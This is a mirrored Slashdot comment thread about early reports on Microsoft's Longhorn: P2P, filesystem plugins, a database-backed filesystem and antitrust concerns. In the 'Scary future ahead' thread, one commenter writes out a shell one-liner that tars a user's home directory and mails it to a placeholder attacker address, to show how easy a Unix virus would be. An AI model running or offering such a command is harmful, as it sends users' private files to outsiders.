Slashdot Mirror


A Quick Peek at Longhorn

Kaypro writes: "The Register has an interesting article with some minor details regarding Microsoft's next OS. P2P, filesystem plugins and some thoughts from Hans Reiser, of ReiserFS fame make for an interesting read."

333 of 521 comments (clear)

  1. Thanks MS by NiftyNews · · Score: 3, Troll

    "The final feature set for Longhorn - the codename for the successor to Windows XP - hasn't been nailed down yet, and the database core had been rumored for inclusion in Blackcomb, the next Windows after Longhorn. "

    In a nutshell, they are currently deciding how exactly to make the new one obsolete...before they release the new one.

    That's marketing at it's finest! :)

    1. Re:Thanks MS by Soulfader · · Score: 2, Funny

      Sounds more like "thinking about the long term," which in my experience eliminates any possible involvement by marketing.

    2. Re:Thanks MS by Anonymous Coward · · Score: 1, Funny

      It is rumored that Microsoft started naming OS's with letters (ME, XP, ...) instead of year (95, 98, 2000) because according to their accelerated schedule, they were required to include the month as well: "Windows Jan2002", "Windows Nov2002", ...

    3. Re:Thanks MS by BitwizeGHC · · Score: 1

      Microsoft is essentially one big marketing department, that happens to write software on the side. These features are probably dreamed up or at least heavily pushed by marketroids, with an aim of keeping everyone in lockstep on the upgrade treadmill.

      --
      N4st0r, trixx0r h0bb1tz0rz! Th3y st0l3 0ur pr3c10uzz!
    4. Re:Thanks MS by IAgreeWithThisPost · · Score: 1, Insightful

      Linux is essentially one big hyped community, that happens to have some software on the side. These features are probably dreamed up or at least heavily pushed by linux zealots, with an aim of moving everyone in lockstep on the linux/free/open source only, M$ sucks treadmill.

      --
      security through obscurity = modding down anti-linux posts so maybe noone will see them
    5. Re:Thanks MS by SerpicoWasTaken · · Score: 5, Insightful

      I don't know. Don't people like Intel and Motorola have product strategy maps for their next two or three processor revisions. It doesn't seem like a "marketing" thing. Not to defend MS or anything, just saying I don't think this is something that is not done elsewhere in the business world. I guess I think it is kind of a cheap shot.

    6. Re:Thanks MS by ryanvm · · Score: 2

      Don't people like Intel and Motorola have product strategy maps for their next two or three processor revisions.

      Interesting tidbit - I once read that Mitsubishi actually has a business plan for the next 200 years!!!

    7. Re:Thanks MS by Martin+Blank · · Score: 1

      That was likely a typo, if your memory isn't a little off. It's not unusual for Japanese companies to have 1, 2, 5, 10, 20, and 50 year business plans (I used to work at Toshiba), but I think 200 years would be a little much.

      Even Deng Xiaoping only planned 100 years ahead for China.

      --
      You can never go home again... but I guess you can shop there.
    8. Re:Thanks MS by tswinzig · · Score: 2

      I guess I think it is kind of a cheap shot.

      Way to take a strong stand, buddy.

      --

      "And like that ... he's gone."
    9. Re:Thanks MS by SerpicoWasTaken · · Score: 1

      I'm sorry. I didn't realize that only brash statements. I will try to be more aggressive and adversarial in the future. Furthermore, when I can't think of interesting reply, I will simply look for typos and call people out when I think they aren't being forceful enough. After all, what good is an opinion if you can't state it in a boarish and callous manner.

    10. Re:Thanks MS by festers · · Score: 1

      Now that's much better! Keep it up... ;)

      --


      -------
      "Every artist is a cannibal, every poet is a thief."
    11. Re:Thanks MS by Zathruss · · Score: 1

      The difference being that there are actually improvements in the Linux kernel.

  2. Scary future ahead by tapiwa · · Score: 4, Interesting

    P2P at the filesystem level!

    Couple that with MicroSoft's security trackhistory, and possible T1 pipes in every home in a few years, and I see virii mailing entire directories of data.

    Scary thought huh??

    --

    Live today. Tomorrow will cost a lot more!

    1. Re:Scary future ahead by PowerTroll+5000 · · Score: 2, Interesting

      What I don't seem to understand is that Microsoft, a major player in the copyright industry could support P2P on any level, unless your trackhistory sytem could catch offenders in the act.

      --

      I'm not afraid of falling, it's the sudden stop at the end that frightens me.

    2. Re:Scary future ahead by Reality+Master+101 · · Score: 3, Insightful

      Um, nothing stops a virus from e-mailing directories right now. Of course, I could point out that nothing stops a Linux virus e-mailing your directories, either.

      P.S. Once again, it must be pointed out that virii is not a word (and actually makes no sense linguistically).

      --
      Sometimes it's best to just let stupid people be stupid.
    3. Re:Scary future ahead by moonbender · · Score: 1

      Did you read his message?! A future virus would have an easier time sharing your files with the world, since sharing files with the world is integrated at filesystem level. The virus would only have to change WHAT to share, not HOW to share it.
      This, together with MS bad record on handling security (or, if you prefer, casual users' bad record on it) poses a possible threat.

      P.S. Once again, it must be pointed out that virii is not a word (and actually makes no sense linguistically).
      Hm, is 'viri' better? I don't know where the double-'i' comes from, since the Latin way (or one it) of pluralising -us words is by replacing the -us with an -i.

      --
      Switch back to Slashdot's D1 system.
    4. Re:Scary future ahead by HMC+CS+Major · · Score: 1

      Microsoft not only implements P2P, they bought a large stake in a prominent P2P company

      From the article:
      Microsoft took a $51 million stake in P2P pin-up Groove Networks, the company started by Lotus Notes creator Ray Ozzie, last year

      They're merely using what they bought, possibly in an attempt to give high school and college kids (and older audiophiles and porn freaks) a reason to persuade(harass) their parents into upgrading.

    5. Re:Scary future ahead by jordan_a · · Score: 1

      P2P is a technology. It does not imply copyright violations that's just what it is most commonly used for right now. What I think Microsoft is looking at P2P for is making ad-hoc workgroups without the need for centerlized servers.

    6. Re:Scary future ahead by Pope · · Score: 1, Informative

      Virus is not a Latin word, it's an English word, and therefore follows English conventions: one virus, many viruses. It is based on the Latin 'vir' but is as English as all get out.

      It's so goddamn easy, yet stupid, stuck-up computer geeks try to make themselves sound important by going around saying "virii" as if it were a Latin word.

      People who use the term "virii" are no better than the idiots who say "irregardless," and are therefore worth ignoring completely.

      --
      It doesn't mean much now, it's built for the future.
    7. Re:Scary future ahead by funkhauser · · Score: 2, Informative

      The plural of "virus" is "viruses". "virii" is just an incorrect extension of the -us -> -ii plural marking you see in words like "cactus".

    8. Re:Scary future ahead by ari_j · · Score: 1

      Latin: vir, viri, a second-declension masculine noun meaning 'man'. 'viri' would mean either 'of {the,a} man' or 'the men'. 'virus', in the sense that we're talking here, is poorly-documented in the Latin at best. The Oxford English Dictionary gives its plural simply as 'viruses'. For more on this subject, check out this research into this very topic. I haven't read the entire page, but it seems to be well-documented and ready for consumption.

    9. Re:Scary future ahead by BinxBolling · · Score: 1

      Groove is "peer to peer", but they're all about business collaboration tools. While this includes file sharing, it's only one small piece of what they do. It's not something that people are going to be installing to swap MP3s.

    10. Re:Scary future ahead by Lumpy · · Score: 1

      sure does, as linux mail clients cannto just select the "folder" to mail. the virus would have to know how to run tar and gzip (a better virus would use bzip2) and then either make the user think that it's doing something normal or just put up a "downloading Porn site password list" to entice the user to wait.

      virii for the Linux platform need to be more sophisticated, as there are many choices of systems tools, and a truely eficient virus would download and install the latest tools or just patch them as it went.

      Oh wait, that would require sophisticated virii writers... and the world doesn't havethose yet...

      my bad...

      --
      Do not look at laser with remaining good eye.
    11. Re:Scary future ahead by __past__ · · Score: 1

      Because they will decide who your peers are.

    12. Re:Scary future ahead by Dephex+Twin · · Score: 2, Offtopic
      Virus is not a Latin word, it's an English word, and therefore follows English conventions: one virus, many viruses. It is based on the Latin 'vir' but is as English as all get out.

      Conventions like datum/data and vertex/vertices, or did you mean conventions like woman/women, or sheep/sheep?

      English is full of exceptions. Just because it came from Latin into English doesn't mean it is "virii", but on the other hand, the fact that it is an English word doesn't mean it must end with an "s".

      There is no "correct" way to say anything, as language evolves with time. The closest one can come to "correct" is whatever best communicates the idea(the point of language).

      In the case of viruses/virii, I think they are on pretty equal footing. Especially since this is a geek website.

      mark
      --

      If you want to make an apple pie from scratch, you must first create the universe. -- Carl Sagan
    13. Re:Scary future ahead by pcb · · Score: 1

      Does that mean that Linus is actually a 'multiplicity'. Maybe that how he (or should I say 'they') manage to produce so much code.

      A singular 'Linus', I guess should be 'Linii'.

      --
      'Men never commit evil so fully and joyfully as when they do it for religious convictions.' B. Pascal
    14. Re:Scary future ahead by krlynch · · Score: 2

      Actually, virus IS a latin word, and its nominative plural is viri; it derives from greek and sanskrit, and it translates roughly as "poison, slime, slimy liquid, offensive odor". Both the OED and Merriam-Webster trace the english word virus directly to the latin virus, round about 1599.

    15. Re:Scary future ahead by zaffir · · Score: 1

      No, those high school and college kids will just pirate it.

      --
      "Upon attaching the waterblock to my penis, I began to notice that I know nothing about computers." -- JRockway
    16. Re:Scary future ahead by alext · · Score: 1

      It's because language evolves with time that the exceptions are there - they are relics of different grammer rules, such as a vowel change for the plural from Germanic (mouse, mice etc.). This kind of evolution is not random mutation, so it is possible to say that competing variants are better or worse founded.

      In this case, the Latin plural is being retrofitted - though mostly in the written form from what I've noticed.

    17. Re:Scary future ahead by zulux · · Score: 3, Funny

      Of course, I could point out that nothing stops a Linux virus e-mailing your directories, either.


      There are many hurdles to a Linux Virus:

      1) Mircosoft programers aren't smart enough to make a Linux virus. Unix programmers are too busy making money, driving fast cars and picking up the babes to bother maing a virus.

      2) Any Linux virus would have to come with it's own libraries, or at least come in a SuSE and Red Hat Version.
      3) GNU/Virus doesent have a good ring to it.

      4) The BSD Ports system would make any Linux virus delivery system obsolete.

      5) There is no version of Outlook for Linux.

      6) A Linux virus coulden't statically link to some libraries - it might violate the GPL and we couldent have that.

      7) Linux users don't have many contacts in their address books, due to their bathing habits.

      --

      Moneyed corporations, non-working 'poor' and criminal prisoners are turning productive citizens into tax-slaves.

    18. Re:Scary future ahead by alext · · Score: 1

      400 years being enough time for it to get acclimatized, one would think. However, I noticed that Americans still pronounce 'valet' in the French manner some 600 years after it came into the language, so you never can tell.

    19. Re:Scary future ahead by Dephex+Twin · · Score: 1
      It's because language evolves with time that the exceptions are there

      Right, that's what I was trying to say.

      In this case, the Latin plural is being retrofitted - though mostly in the written form from what I've noticed.

      That does appear to be where it comes from. But it doesn't really matter how it comes into the language, as far as "correctness" is concerned. A word change can even arise out of an error or other oddity. An example off the top of my head is aluminum/aluminium. In British English it is the latter (and original) that is correct and in American English it is the former, because Webster or someone like that decided it would be easier to pronounce that way.

      Nobody disputes Americans using "aluminum" though. (Well, I bet there are some curmudgeons out there.)

      mark
      --

      If you want to make an apple pie from scratch, you must first create the universe. -- Carl Sagan
    20. Re:Scary future ahead by Reality+Master+101 · · Score: 2

      Did you read his message?! A future virus would have an easier time sharing your files with the world, since sharing files with the world is integrated at filesystem level. The virus would only have to change WHAT to share, not HOW to share it.

      Actually, a Linux virus is way easier than a Windows virus because of all the standard tools (tar, gzip, ftp, mail, or good god, Perl.). I could send your entire user directory to me in a couple lines of shell script.

      --
      Sometimes it's best to just let stupid people be stupid.
    21. Re:Scary future ahead by ConceptJunkie · · Score: 1

      But that doesn't stop people from taking every word in the language that ends in -us and pluralizing it by changing it to -ii.

      Which just goes to prove people would rather look cool than smart.

      The worst part is that even when you confront people with the analogy with "radius" they don't care and still want to put two i's.

      Sorry. It's a peeve of mine, too.

      --
      You are in a maze of twisty little passages, all alike.
    22. Re:Scary future ahead by Reality+Master+101 · · Score: 2

      virii for the Linux platform need to be more sophisticated, as there are many choices of systems tools, and a truely eficient virus would download and install the latest tools or just patch them as it went.

      Sophisticated? Are you joking? How sophisticated do you need to be to write "tar cf - ~ | gzip | uuencode - | mail l33t@haxhor.com"?

      It's WAY easier do this sort thing under Unix.

      --
      Sometimes it's best to just let stupid people be stupid.
    23. Re:Scary future ahead by hawk · · Score: 2
      >"downloading Porn site password list" to entice
      >the user to wait.


      still a bad design. It should at least jump into the background, and maybe even scheduleitselfto run later with at (say, while the locatedb is running, so the rattling won't be notices).


      haw

    24. Re:Scary future ahead by Alexander · · Score: 2, Insightful

      Actually, that one's pretty easy. Intel wants p2p to be big, too. Why? Because they want people to buy bigger and badder PCs. You'll need all that OS/hard drive/Processor to do p2p computing.

      At some point someone might just make an actual "thin client" because traditional Interent applications (email, browsing, etc.) and many business functions can be light client/heavy server apps. These apps don't need big Pentium 6's running at 10 ghz. They also don't need a 2 GB OS. So P2P is a PC "killer app". The sooner client/server computing is moved towards p2p in terms of horsepower, the better for the Duopoly.

      --
      "oohhh... I didn't know Schopenhauer was a philosopher!" ..."uhhh yeah, he's the one that begins with
    25. Re:Scary future ahead by Alexander · · Score: 1

      Why is this offtopic? The poster is just making a point about M$, Security and why Longhorn has a "Scary future ahead" Thus the topic of this thread.

      In fact, you could read this to say that the scary future is already here.

      This shouldn't be moded offtopic.

      --
      "oohhh... I didn't know Schopenhauer was a philosopher!" ..."uhhh yeah, he's the one that begins with
    26. Re:Scary future ahead by grammar+fascist · · Score: 1

      So the plural of "practice" isn't "practii?"

      My world is shattered. Thank you very much.

      --
      I got my Linux laptop at System76.
    27. Re:Scary future ahead by spankfish · · Score: 3, Funny

      1) ...Unix programmers are too busy making money, driving fast cars and picking up the babes to bother maing a virus.

      7) Linux users don't have many contacts in their address books, due to their bathing habits.

      Lucky thing that Linux isn't Unix eh? Oh yeah, this red hat box... that's running some kind of Unix... oh yeah, definitely... not sure which exactly, but it's definitely not Linux. My bath works fine thank you.

      --

      NO TOUCH MONKEY!
    28. Re:Scary future ahead by Lucretius · · Score: 2
      Virus is not a Latin word, it's an English word, and therefore follows English conventions: one virus, many viruses. It is based on the Latin 'vir' but is as English as all get out.
      I beg to differ with you on this one. "Virus" is a Latin word. It resembles the word 'vir'(man) in form, but there is another word, if you would actually pick up your dictionary, 'virus' which means essentially 'poison, venom, virus'. If you don't believe me, check out the link to an online Latin dictionary: virus
      It's so goddamn easy, yet stupid, stuck-up computer geeks try to make themselves sound important by going around saying "virii" as if it were a Latin word.
      Its almost as bad as stupid, stuck up, wannabe grammar police knobs trying to come in and spread the wrong information about things they have absolutely no idea about. I will hand to you that virii is not a word, I'm not sure where people get that from. If you want to get into entymology and the like, here is a good link that I found that will give you a rundown of what the real dope is, check it out here.
    29. Re:Scary future ahead by Lucretius · · Score: 1
      Actually, virus IS a latin word, and its nominative plural is viri; it derives from greek and sanskrit, and it translates roughly as "poison, slime, slimy liquid, offensive odor". Both the OED and Merriam-Webster trace the english word virus directly to the latin virus, round about 1599.


      Actually, there is no nominative plural of the word "virus". There are a few latin words that are that way, and this happens to be one of them ("viri" is however, the genative singular).
    30. Re:Scary future ahead by Mark+Pitman · · Score: 1

      Right, sounds like it would be similar to their "Distributed File System". I would guess that instead of having to connect to a specific computer in your workgroup to get a file, you would just connect to the "workgroup" and see a list of all files available. Any filesystems you "share" on your PC would become a part of this workgroup filesystem.

    31. Re:Scary future ahead by moonbender · · Score: 1

      That might be true, but since Windows is currently the desktop OS, its users are far more likely to fall for such stuff.

      --
      Switch back to Slashdot's D1 system.
    32. Re:Scary future ahead by FatOldGoth · · Score: 2

      How sophisticated do you need to be to write "tar cf - ~ | gzip | uuencode - | mail l33t@haxhor.com"?

      Much less sophisticated than you'd need to be to find a way of making it execute automatically in a *NIX MUA. :)

      --

      I would be a paid subscriber if Taco and Hemos weren't such cunts
    33. Re:Scary future ahead by Afrosheen · · Score: 2

      Moderator who made this previous post offtopic: you sir, are an idiot. Go ahead and mod me down now...that post was a reference to the latest worm.

    34. Re:Scary future ahead by fferreres · · Score: 1

      If many people use it for a long time, it will be a word. As with ANY word. in the vocabulary. Many zealots through the centuries and from day 1 of the alphabet made corrections just to be proved wrong.

      It's evolution. Happens to the law. Happens to the alphabet. Happens to ethics and to everything that is arbitrary on nature.

      Just my 0.028 pesos

      --
      unfinished: (adj.)
    35. Re:Scary future ahead by festers · · Score: 1

      Unfortunately, in the case of "virii", the only people using it are the pseudo-intellectual Slashdot readers who took a Latin 101 class. Anytime I've seen the plural of virus, be that TV, radio, or a friend talking to me, it's been "viruses." Slashdot geeks (and maybe a few other tech web forums) are the only places I've ever seen "virii."

      --


      -------
      "Every artist is a cannibal, every poet is a thief."
    36. Re:Scary future ahead by ConceptJunkie · · Score: 1

      The plural of "radius" has two i's because the base "radi-" already has an i.

      An analogous plural of "virus" would be "viri" because the word is "virus" and not "virius".

      But two i's looks cooler, so people use it, even when it doesn't make sense.

      I don't care if virus is not a true Latin word or if the dictionary shows its plural as "viruses", but if people want to "borrow" the Latin pluralization (or a reasonable imitation thereof), they should at least do so consistently.

      --
      You are in a maze of twisty little passages, all alike.
    37. Re:Scary future ahead by Broccolist · · Score: 1

      A word makes it into the language when it's in wide use. Whether or not it "makes sense" is irrelevant. Where's the harm in it, anyway? It's not like English is a "pure" language that has to be defended against irregularities.

  3. Pluging FS by headhot · · Score: 3, Informative

    95 included a plugin fs, but no one did anyting with it...

    1. Re:Pluging FS by MrHat · · Score: 1

      What, FAT? I know the shell had the ability to accept plugins to mangle a view or create an imaginary file hierarchy, but I don't recall any sort of plugins for the filesystem itself. It sounded like they were talking about namespace unification on a grand scale - which isn't a bad thing if it's done correctly.

    2. Re:Pluging FS by JohnDenver · · Score: 1, Offtopic


      95 included a plugin fs...

      but M$ forgot to release the API.


      Are you talking about Active Directory???

      --
      "Communism is like having one [local] phone company " - Lenny Bruce
    3. Re:Pluging FS by lseltzer · · Score: 2, Interesting

      You talking about the File System Driver reference? Try http://msdn.microsoft.com/library/en-us/wmeother/s torage_5uig.asp

      Just because you haven't looked for it doesn't mean it doesn't exist.

    4. Re:Pluging FS by Hallow · · Score: 1

      Actually there was an ext2 fs plugin for 95 that I used once or twice. Pretty handy in a dual boot conflaguration. ;)

    5. Re:Pluging FS by Fishstick · · Score: 2, Interesting

      Oh yeah, wasn't there a way to get ntfs support?

      or is this something different?

      --

      There is much cruelty in the universe, John.
      Yeah, we seem to have the tour map.

    6. Re:Pluging FS by Jupiter9 · · Score: 1
      --

      --
      Does anyone remember /\/\/\?
    7. Re:Pluging FS by __past__ · · Score: 1

      Try following links before you post them. Active Directory is no fs.

  4. P2P eh? by Second_Derivative · · Score: 5, Insightful

    So what kind of DRM-shackled kernel-integrated, msn.com centric peer to peer might that be? ;)

    1. Re:P2P eh? by Spy+Hunter · · Score: 2

      It's funny because it's true!

      --
      main(c,r){for(r=32;r;) printf(++c>31?c=!r--,"\n":c<r?" ":~c&r?" `":" #");}
    2. Re:P2P eh? by jazman_777 · · Score: 2, Funny

      The only P2P transfer that Microsoft recognizes is changing money from your hand to theirs.

      --
      Slashdot: Failed Car Analogies. Amateur Lawyering. Anecdote Battles.
    3. Re:P2P eh? by Second_Derivative · · Score: 1

      I dont think I'm a peer with Microsoft considering they've got finances larger than many countries' GDP

  5. Proc suport by Mr.Intel · · Score: 2, Interesting

    I bet they still won't support my PPC proc and mobo! Damn Microsoft bastards!

    --
    ASCII tastes bad dude.
    Binary it is then.
    1. Re:Proc suport by Neon+Spiral+Injector · · Score: 1

      What do you mean, "still won't"? They used to, but dropped support going into Windows 2000.

      I had NT 3.51 running on a PPC machine.

    2. Re:Proc suport by Mr.Intel · · Score: 1

      They also supported Alpha but now only support x86.
      Look the System Requirements for 2000 and XP.

      --
      ASCII tastes bad dude.
      Binary it is then.
    3. Re:Proc suport by generic-man · · Score: 1

      Yes, Microsoft did make Windows NT for PowerPC. They ceased to support it more than five years ago, though.

      --
      For more information, click here.
    4. Re:Proc suport by RazzleFrog · · Score: 1

      Nice uneducated response. Windows NT 3.5 and NT 4 did at one time have a PPC version. Here is a site that talks about it. I couldn't find much else.

    5. Re:Proc suport by spauldo · · Score: 1
      NT 4 said it ran on MIPS. Never had a MIPS box around to try it though - only thing I had 'sides intel was alpha and sparc, and it did run on the alpha (albeit poorly).

      --
      Those who can't do, teach. Those who can't teach either, do tech support.
  6. visualize beos by Anonymous Coward · · Score: 1, Funny

    Microsoft will market themselves as a Media OS.

    JLG will dethrone Bill Gates.

    Stock value will plummet to 3.20.

    Microsoft will start selling Internet Appliances.

    That idea will crumble.

    Palm will buy out Microsoft.

    It's evolution folks.

  7. P2P? by niola · · Score: 4, Troll

    LOL, Windows XP is already peer-to-peer, though inadverently :)

    Seriously though, they do need to make some drastic changes to the OS. Any OS that is going to be used by 90% of Americans needs to be more reliable. Nothing worse then having to be tech support because you are the only one in the family that can figure it out.

    The move has antitrust implications: it potentially puts Microsoft at an advantage over Oracle and other competing SQL implementations every copy of Windows will effectively come with a light version of Microsoft SQL Server.

    Ahh, now I see. I can just see the high-ups at Microsoft, "Hey, we can't make an RDBMS as good as Oracle or IBM's, so let's make our OS one, then when people run SQL Server on it it will be like 10 times faster, and SQL Server will capture the high-end database market."

    I hope many of you submitted feedback for the Tunney act before yesterday's deadline or we will see a lot more anti-competitive behavior over the next year.

    --Jon

    1. Re:P2P? by moonbender · · Score: 1

      Any OS that is going to be used by 90% of Americans needs to be more reliable.

      For most users, Windows XP's reliability is just fine. As long as you don't mess with its internals, it usually doesn't crash within 24 hours, which is longer than any typical consumer PC is running. Drivers can be a problem, but mostly they aren't, anymore.

      --
      Switch back to Slashdot's D1 system.
    2. Re:P2P? by kin_korn_karn · · Score: 2

      Oracle is big and mean enough that they could crush Windows for such a move if they had a case. Don't think Larry isn't salivating at that possibility. He might be an ass, but he doesn't like Bill. Or so I hear.

    3. Re:P2P? by niola · · Score: 2

      Oracle is big and mean enough that they could crush Windows for such a move if they had a case. Don't think Larry isn't salivating at that possibility. He might be an ass, but he doesn't like Bill. Or so I hear.

      Yeah, Oracle's DB pounds the hell out of anything MS makes, BUT, Oracle does not have the market leverage that Microsoft does. When you have a monopoly like Microsoft admittedly has, superior quality doesn't go as far as superior market share.

      Remember when Microsoft wanted to get into the enterprise DB game? What did they do? They went out and bought the rights to SQL Server from Sybase.

      Last I heard Microsoft had something like $36 BILLION in their "war chest" so if something gets in their way, they can either by it, or by some thorns in its side.

      Don't ever underestimate the determination of a monopoly :)

      --Jon

    4. Re:P2P? by DavidJA · · Score: 2

      Ahh, now I see. I can just see the high-ups at Microsoft, "Hey, we can't make an RDBMS as good as Oracle or IBM's, so let's make our OS one, then when people run SQL Server on it it will be like 10 times faster, and SQL Server will capture the high-end database market."

      Actually, I think windows _NEEDS_ a decent database at the OS level.

      At the moment, just about all MS products that need a database (DHCP, WINS, etc) uses a JET .mdb format (I beleive even exchange 5.5 used a JET based format?); As well as that, there are a ton of third party appliations that make use of JET based databases.

      Anyone that's delt with large JET based databases will know that they suck!

      IMO it would be much better to have a good quality RDBMs provided as a service by the O/S, insted of all these shitty little JET databases distributed across your computer.

      After all, isn't this what an OS is all about? Providing underlying system services

    5. Re:P2P? by Pfhreakaz0id · · Score: 5, Interesting

      Yeah, SQL Server really sucks (NOTE: SARCASM INTENDED).

    6. Re:P2P? by Pfhreakaz0id · · Score: 2
      hmm lets try REAL IMPLEMENTATIONS shall we?

      maybe you should try working with a database instead of commenting on quality, Lan boy


      I'm quoting this moron above. I've worked with: DB2, SQL Server (6.5 to 2000), Oracle (7,8, and 9), PervasiveSQL and a little POSTGRES. Dollar for Dollar, I'd take SQL 2000 on a dedicated, quality boxen runing 2000 over any of them.

    7. Re:P2P? by Mapultoid · · Score: 1

      "Nothing worse then having to be tech support"

      Nothing worse THAN having to read people say 'then' when they should say 'than'. I realize this is offtopic and flamebait, but really, it happens SO often... why can't people just think this stuff out? It's bad enough that the /. editors can't spell or properly manage their grammar, let alone the posters... Please, think before you type!

      --
      Ben Garrison, a mindless idiot who will be the first against the wall when the revolution comes.
    8. Re:P2P? by niola · · Score: 2

      You do realize the link that you posted is not optimum performance transaction leaders, but price/performance leaders right?

      Yes, SQL Server is decent and can run on lower cost hardware, but Oracle and DB2 will stomp the shit out of it at the high-end.

      --Jon

    9. Re:P2P? by IDIIAMOTS · · Score: 1

      Okie. Let's look at the sheer performance then, using the same TPC benchmarks.

      Top Ten TPC-C by Performance

      Let's see... The top 3 spots are SQL 2000 running on Windows 2000 clusters.

      Of course, if that's too "cheap" for you, you can spend an additional $2M for a "high-end" runner-up Fujitsu machine that will give you approx 60% performace (455K tpmC vs. 709K tpmC) of the Windows/SQL 2000 solution.

  8. I like the antitrust jab at the end. by dave-fu · · Score: 1, Interesting

    The bit about how Oracle may have an antitrust suit on their hands because MS is making the filesystem a front-end for a database. Uh. Doesn't RedHat ship with a database? So are Oracle's lawyers knocking on RH's doors?
    Good to know that barratry is the solution for all your (potentially) obsoleted business. Just ask the RIAA...

    --
    Easy does it!
    This comment has been submitted already, 276865 hours , 59 minutes ago. No need to try again.
    1. Re:I like the antitrust jab at the end. by nervlord1 · · Score: 2, Insightful

      you left out one vital little peice of infromation:

      1. Redhat doesnt make the databases they disturbute with redhat, therefore theres no alterior motive other than making users life easier

      2. Microsoft In my opinion will use this database on everyones desktop business to basically increase teh speed of Sql server (they did it with internet explorer, when you push it so far down in the kernel its bound to make some speed increases (hello Tux webserver (if thats what its name was) written by Redhat that was a Web server directly embedded in the kernel to improve performance)
      So as you can see, this is a very diffirent situation

      --
      Microsoft IIS is to webserving as KFC is to healthy eating
    2. Re:I like the antitrust jab at the end. by Howie · · Score: 1

      Redhat ships with a database, not a fs-database-fs bridge. The Oracle IFS is a bit more than just a database. It seems to me to be a way to justify the ridiculous amount you just spent on an Oracle license by making it your fileserver too, but that's probably just me being cynical - it does have some interesting features which aren't all available together elsewhere.

      Agreed about the barratry.

      --
      "don't fall into the fallacy of believing that Perl can solve social problems. Maybe Perl 6 can, but that's a ways off"
    3. Re:I like the antitrust jab at the end. by nervlord1 · · Score: 1

      alright, 2 vital peices :p

      --
      Microsoft IIS is to webserving as KFC is to healthy eating
    4. Re:I like the antitrust jab at the end. by coltrane99 · · Score: 2, Insightful

      Of course, RedHat doesn't have any monopolies in any markets, and Microsoft does. The rules are different for you if you have a monopoly.

    5. Re:I like the antitrust jab at the end. by cyberlync · · Score: 1, Insightful


      Last I looked redhat didnt own more then 90% of the OS market. Also redhats database (which is really Postgresql) is not integrated directly into redhat's linux distro, they sell it as a seperate product altogether. What microsoft is doing is integrating the database directly into the OS much like they did with Internet Explorer several years ago. The death of IEs competitor Netscape followed shortly thereafter. So oracle will have a very valid antitrust claim. So your argument really doesn't apply at all. You should probably think these comments through a little more before you post them.

      --
      I'm a programmer, I don't have to spell correctly; I just have to spell consistently
    6. Re:I like the antitrust jab at the end. by Jeremi · · Score: 2, Flamebait
      Uh. Doesn't RedHat ship with a database? So are Oracle's lawyers knocking on RH's doors?


      Hey, bright boy... has Red Hat been convicted in a court of law for being an illegal monopolist? Does Red Hat even have a legal monopoly of any kind?

      --


      I don't care if it's 90,000 hectares. That lake was not my doing.
    7. Re:I like the antitrust jab at the end. by ClosedSource · · Score: 1

      "The rules are different for you if you have a monopoly."

      Here we go again. What exactly are these different rules?

    8. Re:I like the antitrust jab at the end. by __past__ · · Score: 1
      IE is definitly not pushed "so far in the kernel". It has nothing to do with kernel32.dll, it's simply that some parts of it get pre-loaded on system startup - that's not unlike the kdeinit idea, or that funky mozilla feature I just have forgotten the even more funky name of.

      It basically trades system startup speed (or the timeframe between "startx" and "KDE is up and running" with kdeinit) against application startup speed. If you happen to typically run an app more than once per session, that is a quite good idea.

      There is a difference between bundling a browser with an OS, which is what they did, and integrating it in the kernel. As you may have noticed, MS Windows includes more than kernel32.dll.

      And, by the way, RedHat indeed kind of makes the DBMS they ship with their distribution - they basically forked PostgreSQL.

    9. Re:I like the antitrust jab at the end. by coltrane99 · · Score: 1

      You can't dump product below price. You can't require people to buy one product to get another one. You can't price-gouge. Some others. Go look it up, it's not on TV though, you'll have to crack a book, or do a Web search.

    10. Re:I like the antitrust jab at the end. by jmccay · · Score: 3, Informative

      I may be wrong, but I am pretty sure red Hat doesn't make the Database the Files System. On Windows, and most computers, the Database (SQL-Server, Oracle, et. al.) stores it data via the file system in some arrangement of files.
      If I understood the article correctly Microsoft is going to flip that relationship. The file system would be Front end to the Database. This would mean if Oracle did, or could, produce a database it would have to do one of two things. First it could run on top of the File System which would make the file system a go-between between Oracle and the RDBMS (probalble a SQL-Server derivative). The other possiblity would be to Have Oracle interact directly with the RDBMS. Either way, what's the point of having a Database run on top of a database? I think that would be one the reasons Oracle file a lawsuit against Microsoft. It isn't that much different than what they did to Netscape and AOL (with the tie in of MSN).
      The article referenced another article that went into more detail.

      --
      At the next eco-hypocrisy-meeting, count the private jets used to get to the meeting. Should be interesting to see that
    11. Re:I like the antitrust jab at the end. by ClosedSource · · Score: 1

      In other words, you can't quote any sources and don't really know.

    12. Re:I like the antitrust jab at the end. by coltrane99 · · Score: 1

      Click this link It's a matter of public record. No need to be such a weiner about it.

    13. Re:I like the antitrust jab at the end. by ClosedSource · · Score: 1

      Hey, that's great. Now, can you find a quote that supports the position that it would be illegal for MS as a monopoly to integrate a database in their filesystem but not illegal for non-monopoly companies to do it?

    14. Re:I like the antitrust jab at the end. by coltrane99 · · Score: 1

      It's called 'bundling'. Here's an article on it at this link

  9. Quick Question... by FortKnox · · Score: 4, Offtopic
    Should we be discussing:
    • A.) How bad MS is, and how we hate it and everything they do.
    • B.) How MS users are inferior and shouldn't be played by MS.
    • C.) The intricacy of this new idea, and how linux can compete, or use the ideas they bring forward
    I guess it all comes down to whether you see MS as an 'enemy' or a competitor. Linus sees it as a competitor, respects them, and makes sure his OS can compete with them. He never really derails them or has an elitist attitude. Maybe we should follow suit, here?
    --
    Good quote, too many chars. Seriously, the slashdot 120 char limit sucks!
    1. Re:Quick Question... by GigsVT · · Score: 5, Interesting

      Linus sees it as a competitor, respects them,

      I guess you'd like to think that, and it sounds good and fits into you message well, but Linus has repeatedly said he doesn't care one bit what Redmond is doing, and isn't even familiar with a lot of the newer features in their OS. His singular goal is to make Linux better than Linux, not better than anything MS makes.

      --
      I've had enough abrasive sigs. Kittens are cute and fuzzy.
    2. Re:Quick Question... by powerlinekid · · Score: 3, Insightful

      Linus doesn't see microsoft as a compepetitor, hes said that numerous times. Linux is for linus thats it. He does't care who uses it, he isn't make a system to rival microsoft... hes making a system that he likes. People really need to seperate the distribututions beliefs from linus's because they are different. Now mandrake or Redhat, yeah maybe they see Microsoft as a rival... but definitly not Linus. I mean think about it. Linus does the kernel... and Kernels really aren't a rivalry thing becaues by themselves they aren't really that big of a deal. They need a full system around them, which linus really has nothing to do with and has said many times.

      --

      can't sleep slashdot will eat me
    3. Re:Quick Question... by DrCode · · Score: 3, Insightful

      How does Microsoft see the rest of the software world? By their actions, I believe they see their competitors, including Free Software, as enemies, which they either need to buy or destroy.

